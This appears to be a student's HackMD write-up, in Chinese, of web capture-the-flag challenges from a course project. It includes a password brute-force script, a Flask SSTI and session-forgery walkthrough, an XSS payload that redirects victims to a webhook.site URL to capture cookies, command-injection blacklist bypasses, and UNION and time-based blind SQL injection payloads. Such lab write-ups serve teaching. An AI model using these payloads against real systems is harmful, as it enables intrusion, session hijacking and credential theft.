洪楷倫
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # ADL project 2 ## Monster ![螢幕擷取畫面 2024-01-08 031313](https://hackmd.io/_uploads/rk1Wuu_up.png) - 題目要求我們用 GIVEMEFLAG method - 打開 burp suite, 把這個網頁的 request send to repeater, 並修改 method 後 send ![METHOD](https://hackmd.io/_uploads/ByVFdd__T.png) ![螢幕擷取畫面 2024-01-08 031634](https://hackmd.io/_uploads/HJXs_Ouua.png) - 再來要求我的 IP 要為 127.0.0.1 - 在 header 增加 X-Forwarded-For: 127.0.0.1 然後再 send ![header2](https://hackmd.io/_uploads/BkLEK_u_6.png) ![螢幕擷取畫面 2024-01-08 031931](https://hackmd.io/_uploads/B1gLK__dT.png) - 再來要求我要從 https://www.adlSecurity.com 過來 - 在 header 增加 Referer: https://www.adlSecurity.com 然後再 send ![header3](https://hackmd.io/_uploads/By0yqOuup.png) ![螢幕擷取畫面 2024-01-08 032247](https://hackmd.io/_uploads/HJSMcOOdT.png) - 要我登入,而且是用 Authorization 形式 - 隱約看到中間有些字,但看不清楚,看原始碼 ![htmlaaa](https://hackmd.io/_uploads/rylIqu_O6.png) - google 後發現 rockyou 是一個 wordlists - 猜測 hirori 為 username, 用他來暴力破解 password - 爆破密碼的 python code ``` bash= import requests from base64 import b64encode def basic_auth(username, password): token = b64encode(f"{username}:{password}".encode('utf-8')).decode("ascii") auth = f'Basic {token}' return auth headers = { 'X-Forwarded-For':'127.0.0.1', 'Referer':'https://www.adlSecurity.com' } headers['Authorization'] = basic_auth('hitori', 'hitorijanai') response = requests.request( "GIVEMEFLAG", url='http://ctf.adl.tw:12002/admin', headers=headers ) ''' file1 = open('b.txt', 'r', encoding='latin-1') lines = file1.readlines() count = 0 for line in lines: s = line.strip() count += 1 print("{}) try: hitori & {}".format(count, s)) headers['Authorization'] = basic_auth('hitori', s) response = requests.request("GIVEMEFLAG",url='http://ctf.adl.tw:12002/admin',headers=headers) if 'You have not been verified' not in response.text: print('Find! ', s) break ''' print(response.content.decode('utf-8')) ``` - 破解密碼為 hitorijanai, 加進 header send 後得到 ADL{h77p_23qu357_h34d32_m0d1f13d!!!!_https://youtu.be/Gc3NKC8TQtY} ## flag store - 查看 source code 得知是用 flask/jinja2 樣版引擎 - 輸入 {{7*'7'}} 發現可 SSTI ![fs1](https://hackmd.io/_uploads/Ske0h_O_p.png) - flask 的 session 運作原理 - 把 session 用secret_key加密後儲存到 cookie 中 - Flask的session格式 ![格式](https://hackmd.io/_uploads/HkdGJtO_a.png) - 只要我們能拿到 secret_key 就能進行 session 偽造 - 利用 SSTI 拿 secret_key, 只要輸入{{config}}就可拿到 secret_key 資訊 - 但是 config 在黑名單裡,因此要接龍,輸入{{conconfigfig}} 就行 ![config](https://hackmd.io/_uploads/rJvexFdu6.png) - 得到 secret_key - 再來進行偽造 - github 上有加密 flask session 的腳本 ``` python3 flask_session_cookie_manager3.py encode -s 'ihfoajfdlngalskfnglnsljgaaskdhglmasdlglasdg' -t '{"user":"1mv32yv32y21ch"}' ``` - 得到加密後偽造的 session ``` eyJ1c2VyIjoiMW12MzJ5djMyeTIxY2gifQ.ZZsAqw.YV-nFLAEJ1UGKv53idNJFr1ErtY ``` - 在買 flag 的時候將 cookie 改為偽造後的 session ![modify_cookie](https://hackmd.io/_uploads/SJDv-tud6.png) - 購買成功 ![successful](https://hackmd.io/_uploads/HkfsWt_da.png) ## Meow 1. 找到session id > 看提供的程式碼 > 從這裡推測每次進網站都要特定session id > ![image](https://hackmd.io/_uploads/SkpFn6tup.png) > > ![image](https://hackmd.io/_uploads/Hk9hnaKda.png) :::spoiler 程式碼 ```python= import requests start_exam_url = 'http://140.115.59.7:12004/api/start' response = requests.post(start_exam_url) if response.status_code == 200: # 獲取 session ID session_id =response.cookies.get('session', None) print(response.cookies) print(f"Session ID: {session_id}") else: print("Failed to start the exam") ``` ::: -- 2. 看答案格式 > 推測答案要10*10的陣列 > ![image](https://hackmd.io/_uploads/ByHsATFda.png) > > ![image](https://hackmd.io/_uploads/S17pRpYdT.png) :::spoiler 程式碼 ```python= def new_challenge(): """Create new questions for a passage""" p = '\n'.join([lorem.paragraph() for _ in range(random.randint(2, 4))]) qs, ans, res = [], [], [] for _ in range(10): q = lorem.sentence().replace(".", "?") op = [lorem.sentence() for _ in range(4)] qs.append({'question': q, 'options': op}) ans.append(random.randrange(0, 4)) res.append(False) return {'passage': p, 'questions': qs, 'answers': ans, 'results': res} ``` ::: -- 3. 猜答案 :::spoiler 程式碼 ```python= import requests,time # 假設 Flask 應用程式運行在本地主機的 base_url = 'http://140.115.59.7:12004' # 開始考試 start_exam_url = f'{base_url}/api/start' start_response = requests.post(start_exam_url) session_id = start_response.cookies.get('session', None) # 如果開始考試成功 if start_response.status_code == 200: print(2) print(start_response.json()["status"]) # 提交答案(假設答案為 -1) answers = [[-1 for i in range(10)] for j in range(10)] i=0;j=0;score=0;prescore=0;ans=0 while score!=100: submit_answer_url = f'{base_url}/api/submit' submit_response = requests.post(submit_answer_url, json=answers,cookies={'session': session_id}) # print(answers) # 獲取最終成績 get_score_url = f'{base_url}/api/score' score_response = requests.get(get_score_url,cookies={'session': session_id}) # 解析成績回應 if score_response.status_code == 200: score_data = score_response.json() score=score_data['data']['score'] flag=score_data['data']['flag'] print(score,flag) if score>prescore: prescore=score i=(j+1)//10 j=j+1 ans=0 else: ans=ans+1 answers[i][j%10]=ans else: print("Failed to get the question") ``` ::: ## msg_board - XSS 題目 - img 不能用 ![img](https://hackmd.io/_uploads/SJvTmFuup.png) - 但 iframe 沒有擋 ![iframe](https://hackmd.io/_uploads/HyYnXY_Oa.png) - 去 XSS cheat sheet 尋找有什麼指令可以用 [cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - 慢慢排查後發現 iframe + onload 可以用,且他可以直接轉址 - webhook.site 可以擷取去這個網站的人的 request 資訊,其中就包括受害者的 cookie - payload = ``` <iframe onload = "self.location.href='https://webhook.site/ce6a69b3-60cb-4235-a6e3-3501724d49c4'"></iframe> ``` - 受害者的 cookie 就是 flag - 但在寫 markdown 的時候因為 project2 deadline 過了,所以 cookie 不見了 ![info](https://hackmd.io/_uploads/S1BlHFO_p.png) ## command injection - 先查看 source code, 看出會把 "bocchi" 對應的 json 訊息當成 linux terminal 的 command 輸入 - 例如輸入 {"bocchi":"'\`ls\`'"} ![search1](https://hackmd.io/_uploads/ByeN8Y_Op.png) 會把所在目錄的文件檔案都印出來,其中發現flag - 反引號 `` 用於命令替換 - 但 cat 跟 flag 都被黑名單 - cat 解決方法:用 tac 替代,功能與 cat 相似 - flag 解決方法:用 [f]lag,會與用 flag 一樣效果 - 得到 ADL{QQQQQqqqqqQQQQQ} ![res](https://hackmd.io/_uploads/Bk0EvFOup.png) ## SQL_injection 1 - 先看 source code ![uandp](https://hackmd.io/_uploads/HytJOt_d6.png) - 看到當 username = 'idtjohn88' 跟 password = 從資料庫撈出來的密碼後就能登入 - 利用這條指令慢慢建構攻擊指令 ![sql](https://hackmd.io/_uploads/ByFgYK__6.png) - 利用 UNION 聯合攻擊,有黑名單記得要接龍 - username = ' UNIUNIONON SESELECTLECT 'idtjohn88','abc' -- - 這樣 $sql 就會 = ``` $sql = "SELECT * FROM users WHERE `username` = '' UNIUNIONON SESELECTLECT 'idtjohn88','abc' -- ' AND `password` = '$password';"; ``` - 所以 password = abc - 但是登入失敗 ![fail](https://hackmd.io/_uploads/ryvFcFOd6.png) - 想很久後認為可能是資料庫裡不只有 username 跟 password 兩行 - 將 username 改成' UNIUNIONON SESELECTLECT NULL,'idtjohn88','abc' -- - 登入成功,(我不知道怎麼得知資料庫有幾行,瞎猜的)得到 flag ![ADL](https://hackmd.io/_uploads/H1WuiYdOp.png) ## SQL_injection 2 - 我猜是要爆破原本 username = 'idtjohn88' 的密碼(很幸運猜到了) - 因為登入不管怎麼失敗都是同一條失敗訊息,查詢各種 SQL injection 類型後覺得時間盲注最適合 - 利用 burp suite 裡的 intruder 可以進行時間盲注爆破 - 開啟 intercept 抓登入的 request - username = ``` idtjohn88' AANDND IF((BINARY SUBSTRING((SELECT `passwoORrd` FROM users WHWHEREERE `username` = 'idtjohn88' LIMIT 1),1,1)='6'),SLEEP(1),0) -- ) ``` - attack type 用 cluster bomb - username 的第二個 1 當作 payload_1, 6 當作 payload_2 - payload_1 代表 password 的第幾個字元 - payload_2 代表第 payload_1 個字元是不是 payload_2 - 如果是的話會 sleep(1),慢慢爆破就可以知道每個字元是什麼 - 爆破出來的密碼:ADL{LoL_Worlds_2023_ Theme...https://youtu.be/C3Gou Ga0noM...Gods}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully